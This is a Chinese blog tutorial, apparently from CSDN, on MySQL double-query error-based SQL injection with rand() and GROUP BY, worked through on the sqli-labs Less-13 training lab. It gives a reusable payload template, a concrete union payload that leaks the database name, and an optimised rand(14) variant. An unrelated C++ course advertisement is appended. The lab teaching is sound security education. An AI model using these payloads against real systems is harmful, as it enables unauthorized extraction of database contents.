sql注入中rand()和group by双注入报错(以sqli-labs_Less13为例)

原理

原理是利用rand()*2重复计数和group by配合,导致临时表插入的主键重复以报错,不适用于表中只有2条数据以下的情况
标准payload:

//$$包含的是可变参数,[]内是可省略参数
$anything$ [前置参数闭合符号] [and|union] select count(*),concat(($payload$),floor(rand(0)*2)) as a from $table$ group by a [截断后置查询符号] 

sqli-labs_Less13

只输入用户名admin时,POST数据为:

uname=admin&passwd=&submit=Submit

用户名处payload:

admin ') union select count(*),concat((database()),floor(rand(0)*2)) as a from information_schema.tables group by a %23

源代码是

SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1
  • 从源码看出子查询前是一个字符串不能返回两个列,也就是此处不能用and连接(要实现的话语句会很麻烦),用union查询比较合适

payload和过程分析

  • count(*)计数,concat的是group by的对象,按对象取数据计数时建一个两列的临时表,group by对象即为主键
  • group byrand()一起使用时,如果临时表中没有该主键,在插入前rand()会再计算一次

concat函数会拼合成security0或者security1,由于此处floor函数生成的前六个数是固定的011011,而在from表里取完数据并按group by的对象分组时,如果主键不存在临时表则会插入。

  1. 当从from表中取第一条记录的时候,此时group by的对象是concat函数聚合floor函数第一次计算值的security0,临时表中不存在此主键,将插入主键,但是注意,由于我们的语句是group by floor(rand(0)*2),所以插入的时候并不是直接插入security0,而是floor(rand(0)*2),正是在这时候floor(rand(0)*2)会再被计算一次,导致此时concat拼接出的是security1,其被插入临时表中作为主键,并count(*)计1
  2. 接着从from表取第二条记录,group by分组的对象是以concat聚合floor计算的第三个值security1,临时表中已存在此主键,所以只需将其count(*)+1
  3. 接着取from表第三条记录,group by的对象是第四次计算的security0,很明显,开始重复步骤1,至将主键security1插入临时表时,发现此主键已存在,于是报错主键重复,并在报错信息中抛出重复的主键,此主键即我们payload查询的记录
    以此达到双注入

优化payload

由注入过程可知,上面这种双注入的payload只适用于有三条记录及以上的表,倘若只有两条数据是不会报错的,但是同时从原理我们也可以考虑,是否可以利用从第二条记录开始就报错,恰好上述第二条记录其实对我们要的报错是没有任何作用的。
也就是说,如果rand()可以生成1010或者0101这样的数值,那么从取第二条记录开始就会报错,参考大佬的试验,给出优化的payload:

floor(rand(14)*2)
验证payload

floor(rand(0)*2)产生的前六个值011011

mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
+------------------+
13 rows in set (0.00 sec)

floor(rand(14)*2)产生的前四个值1010

mysql> select floor(rand(14)*2) from users;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
|                 1 |
|                 0 |
|                 1 |
|                 0 |
|                 0 |
|                 0 |
|                 1 |
|                 1 |
|                 1 |
|                 0 |
|                 0 |
|                 0 |
|                 1 |
+-------------------+
13 rows in set (0.00 sec)
  • floor(rand(14)*2)从表中取第一条数据时,向临时表插入原本不存在的主键key1,当取第二条数据时,由于此时主键key0不存在,将向临时表插入,且在插入前floor(rand(14)*2)会再计算一次,得到一个插入表中的主键key1,明显重复,故两条数据即报错。

bye

已标记关键词 清除标记
【为什么还需要学习C++?】 你是否接触很多语言,但从来没有了解过编程语言的本质? 你是否想成为一名资深开发人员,想开发别人做不了的高性能程序? 你是否经常想要窥探大型企业级开发工程的思路,但苦于没有基础只能望洋兴叹?   那么C++就是你个人能力提升,职业之路进阶的不二之选。 【课程特色】 1.课程共19大章节,239课时内容,涵盖数据结构、函数、类、指针、标准库全部知识体系。 2.带你从知识与思想的层面从0构建C++知识框架,分析大型项目实践思路,为你打下坚实的基础。 3.李宁老师结合4大国外顶级C++著作的精华为大家推出的《征服C++11》课程。 【学完后我将达到什么水平?】 1.对C++的各个知识能够熟练配置、开发、部署; 2.吊打一切关于C++的笔试面试题; 3.面向物联网的“嵌入式”和面向大型化的“分布式”开发,掌握职业钥匙,把握行业先机。 【面向人群】 1.希望一站式快速入门的C++初学者; 2.希望快速学习 C++、掌握编程要义、修炼内功的开发者; 3.有志于挑战更高级的开发项目,成为资深开发的工程师。 【课程设计】 本课程包含3大模块 基础篇 本篇主要讲解c++的基础概念,包含数据类型、运算符等基本语法,数组、指针、字符串等基本词法,循环、函数、类等基本句法等。 进阶篇 本篇主要讲解编程常用的一些技能,包含类的高级技术、类的继承、编译链接和命名空间等。 提升篇: 本篇可以帮助学员更加高效的进行c++开发,其包含类型转换、文件操作、异常处理、代码重用等内容。
©️2020 CSDN 皮肤主题: 深蓝海洋 设计师:CSDN官方博客 返回首页